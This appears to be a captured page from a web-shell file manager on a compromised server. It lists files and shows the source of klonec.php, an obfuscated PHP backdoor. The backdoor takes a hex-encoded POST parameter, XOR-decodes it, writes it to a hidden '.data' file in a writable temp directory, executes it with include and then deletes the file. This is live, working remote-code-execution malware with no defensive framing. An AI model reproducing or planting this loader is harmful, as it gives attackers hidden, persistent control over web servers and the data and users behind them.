at path：
ROOT
/
ca
/
ca
/
klonec.php
run：
R
W
Run
.data
54 By
2026-04-10 00:42:18
R
W
Run
Delete
Rename
klonec.php
549 By
2026-04-09 02:10:08
R
W
Run
Delete
Rename
error_log
up
📄
klonec.php
Save
<?php if(isset($_POST["\x68l\x64"])){ $sym = array_filter([getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), session_save_path(), "/tmp"]); $k = hex2bin($_POST["\x68l\x64"]); $mrk ='' ;foreach(str_split($k) as $char){$mrk .= chr(ord($char) ^ 11);} foreach ($sym as $holder) { if (!!is_dir($holder) && !!is_writable($holder)) { $obj = join("/", [$holder, ".data"]); $success = file_put_contents($obj, $mrk); if ($success) { include $obj; @unlink($obj); die();} } } }